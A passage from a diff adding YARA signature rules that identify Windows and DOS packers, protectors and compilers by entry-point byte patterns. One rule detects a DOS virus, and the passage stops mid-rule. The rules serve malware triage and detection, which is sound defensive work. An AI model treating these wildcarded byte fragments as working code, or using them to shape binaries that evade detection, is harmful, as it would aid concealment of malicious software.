+		$0 = {CC ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? B4 ?? ?? ?? 08 ?? ?? ?? 00 00 00 00 FF FF FF FF E8 ?? ?? ?? 04 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_430__440__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.30 - 4.40 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24}
+	condition:
+		$0
+}
+rule _Vx_Gotcha879_
+{
+	meta:
+		description = "Vx: Gotcha.879"
+	strings:
+		$0 = {E8 ?? ?? 5B 81 EB ?? ?? 9C FC 2E ?? ?? ?? ?? ?? ?? ?? 8C D8 05 ?? ?? 2E ?? ?? ?? ?? 50 2E ?? ?? ?? ?? ?? ?? 8B C3 05 ?? ?? 8B F0 BF 00 01 B9 20 00 F3 A4 0E B8 00 01 50 B8 DA DA CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v29_
+{
+	meta:
+		description = "Exe Shield v2.9"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8}
+	condition:
+		$0 at entrypoint
+}
+rule _LSI_C86_RunTime_Libray_
+{
+	meta:
+		description = "LSI C-86 Run-Time Libray"
+	strings:
+		$0 = {B8 ?? ?? 8E C0 06 17 BC ?? ?? 26 8C ?? ?? ?? B4 30 CD 21 26 A3 ?? ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _XCR_v013_
+{
+	meta:
+		description = "XCR v0.13"
+	strings:
+		$0 = {93 71 08 ?? ?? ?? ?? ?? ?? ?? ?? 8B D8 78 E2 ?? ?? ?? ?? 9C 33 C3 ?? ?? ?? ?? 60 79 CE ?? ?? ?? ?? E8 01 ?? ?? ?? ?? 83 C4 04 E8 AB FF FF FF ?? ?? ?? ?? 2B E8 ?? ?? ?? ?? 03 C5 FF 30 ?? ?? ?? ?? C6 ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_
+{
+	meta:
+		description = "Crunch/PE"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Program_Protector_XP_v10_
+{
+	meta:
+		description = "Program Protector XP v1.0"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 58 83 D8 05 89 C3 81 C3 ?? ?? ?? ?? 8B 43 64 50}
+	condition:
+		$0 at entrypoint
+}
+rule _from_NORMAN_AntiVirus_Utilites_
+{
+	meta:
+		description = "from NORMAN Anti-Virus Utilites"
+	strings:
+		$0 = {E8 ?? ?? 5B 52 45 2F 4E 44 44 53 5D 0D 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_MTEc_
+{
+	meta:
+		description = "ASProtect v1.1 MTEc"
+	strings:
+		$0 = {90 60 E8 1B ?? ?? ?? E9 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Packer_v70_by_TurboPower_Software_
+{
+	meta:
+		description = "EXE Packer v7.0 by TurboPower Software"
+	strings:
+		$0 = {1E 06 8C C3 83 ?? ?? 2E ?? ?? ?? ?? B9 ?? ?? 8C C8 8E D8 8B F1 4E 8B FE}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v036_alpha__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.36 alpha -> Sign by hot_UNP"
+	strings:
+		$0 = {AB E2 E5 5D 59 8B 76 68 51 59 46 AD 85 C0}
+	condition:
+		$0
+}
+rule _Trivial173_by_SMTSMF_
+{
+	meta:
+		description = "Trivial173 by SMT/SMF"
+	strings:
+		$0 = {EB ?? ?? 28 54 72 69 76 69 61 6C 31 37 33 20 62 79 20 53 4D 54 2F 53 4D 46 29}
+	condition:
+		$0 at entrypoint
+}
+rule _Lockless_Intro_Pack_
+{
+	meta:
+		description = "Lockless Intro Pack"
+	strings:
+		$0 = {2C E8 ?? ?? ?? ?? 5D 8B C5 81 ED F6 73 ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 06 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10803_
+{
+	meta:
+		description = "ASPack v1.08.03"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+		$2 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD}
+		$3 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _SLVc0deProtector_11x__SLV__ICU_
+{
+	meta:
+		description = "SLVc0deProtector 1.1x -> SLV / ICU"
+	strings:
+		$0 = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CDS_SS_10_beta1__CyberDoom_
+{
+	meta:
+		description = "CDS SS 1.0 beta1 -> CyberDoom"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8 4E 40 00 E8 D7 03 00 00 0B C0 0F 84 A9 02 00 00 E8 F9 02 00 00 89 85 94 4E 40 00 8D 85 12 4D 40 00 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1337_20070623__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.7 (2007.06.23) -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 27 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 23 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8 F7 26 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_EXE32Pack_13x__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake EXE32Pack 1.3x) -> emadicius (h)"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 56 3B D2 74 02 81 85 57 E8 00 00 00 00 3B DB 74 01 90 83 C4 14 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1333__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.3.3 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B ?? 24 0C EB 01 ?? 83 ?? B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_20_
+{
+	meta:
+		description = "Nullsoft Install System 2.0"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+		$1 = {83 EC 0C 53 55 56 57 C7 44 24 10 ?? ?? ?? ?? 33 DB C6 44 24 14 20 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 56 57 A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 8D FF FF FF 8B 2D ?? ?? ?? ?? 85 C0}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _NoodleCrypt_v20_
+{
+	meta:
+		description = "NoodleCrypt v2.0"
+	strings:
+		$0 = {EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01}
+		$1 = {EB 01 9A E8 ?? 00 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Armadillo_v250b3_
+{
+	meta:
+		description = "Armadillo v2.50b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt_v102_
+{
+	meta:
+		description = "PE Crypt v1.02"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_80_MFC_
+{
+	meta:
+		description = "Microsoft Visual C++ 8.0 (MFC)"
+	strings:
+		$0 = {48 83 EC 28 E8 ?? ?? 00 00 48 83 C4 28 E9 0E FD FF FF CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+		$1 = {C0 ?? ?? 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? 00 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Gleam_100_
+{
+	meta:
+		description = "Gleam 1.00"
+	strings:
+		$0 = {83 EC 0C 53 56 57 E8 24 02 00}
+	condition:
+		$0
+}
+rule _PEPROTECT_09_
+{
+	meta:
+		description = "PE-PROTECT 0.9"
+	strings:
+		$0 = {E9 CF 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _PowerBASICWin_70x_
+{
+	meta:
+		description = "PowerBASIC/Win 7.0x"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 0F 85 DB 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_25_
+{
+	meta:
+		description = "EXE Stealth 2.5"
+	strings:
+		$0 = {60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC}
+	condition:
+		$0
+}
+rule _MSLRH_v032a_fake_PE_Lock_NT_204__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PE Lock NT 2.04) -> emadicius (h)"
+	strings:
+		$0 = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 61 9D 83 C4 04 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v037_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.37 beta -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 8E FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_v12_
+{
+	meta:
+		description = "MEW 11 SE v1.2"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_70_MFC_
+{
+	meta:
+		description = "Microsoft Visual C++ 7.0 MFC"
+	strings:
+		$0 = {6A 60 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF 94 00 00 00 8B C7 E8 ?? ?? ?? ?? 89}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10_Build_20041213_
+{
+	meta:
+		description = "VProtector V1.0 [Build 2004.12.13"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1A 89 40 00 68 56 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_123_RC4_build_0807_dll__Alexey_Solodovnikov_h_
+{
+	meta:
+		description = "ASProtect 1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov (h)"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _SVKProtector_v1051_
+{
+	meta:
+		description = "SVK-Protector v1.051"
+	strings:
+		$0 = {60 EB 03 C7 84 E8 EB 03 C7 84 9A E8 00 00 00 00 5D 81 ED 10 00 00 00 EB 03 C7 84 E9 64 A0 23 00 00 00 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _AZProtect_0001__by_AlexZ_aka_AZCRC_
+{
+	meta:
+		description = "AZProtect 0001 - by AlexZ aka AZCRC"
+	strings:
+		$0 = {FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83}
+		$1 = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 BE 00 ?? ?? 00 BF 00 00 40 00 EB 17 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00 FF 25 ?? ?? ?? 00 8B C6 03 C7 8B F8 57 55 8B EC 05 7F 00 00 00 50 E8 E5 FF FF FF BA 8C ?? ?? 00 89 02 E9 1A 01 00 00 ?? 00 00 00 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 47 65 74 56 6F 6C 75 6D 65 49 6E 66 6F 72 6D 61 74 69 6F 6E 41 00 4D 65 73 73 61 67 65 42 6F 78 41 00 45 78 69 74 50 72 6F 63 65 73 73 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41}
+		$2 = {FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83 FB 08 72 05 33 DB 43 EB 01 43 33 C0 8A 04 31 8A 24 13 2A C4 88 04 31 E2 E6 5E 5B C9 C2 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _Thinstall_V2736__Jitit__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall V2.736 -> Jitit ! Sign by fly"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_20b4_
+{
+	meta:
+		description = "Nullsoft Install System 2.0b4"
+	strings:
+		$0 = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00}
+		$1 = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71}
+	condition:
+		$0 or $1
+}
+rule _FreeJoiner_Small_build_023__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 023) -> GlOFF"
+	strings:
+		$0 = {E8 E1 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v70_64_Bit_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.0 (64 Bit)"
+	strings:
+		$0 = {41 00 00 00 00 00 00 00 63 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 20 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00}
+		$1 = {41 00 00 00 00 00 00 00 63 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 20 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _NsPack_3x__Liu_Xing_Ping_
+{
+	meta:
+		description = "NsPack 3.x -> Liu Xing Ping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _LY_WGKX__wwwszleyucom_
+{
+	meta:
+		description = "LY_WGKX -> www.szleyu.com"
+	strings:
+		$0 = {4D 79 46 75 6E 00 62 73}
+	condition:
+		$0
+}
+rule _WinUpack_v039_final__By_Dwing_c2005_
+{
+	meta:
+		description = "WinUpack v0.39 final -> By Dwing c)2005"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2021__wwwstrongbitcom__SignByhaggar_
+{
+	meta:
+		description = "EXECryptor 2.0/2.1 -> www.strongbit.com * Sign.By.haggar"
+	strings:
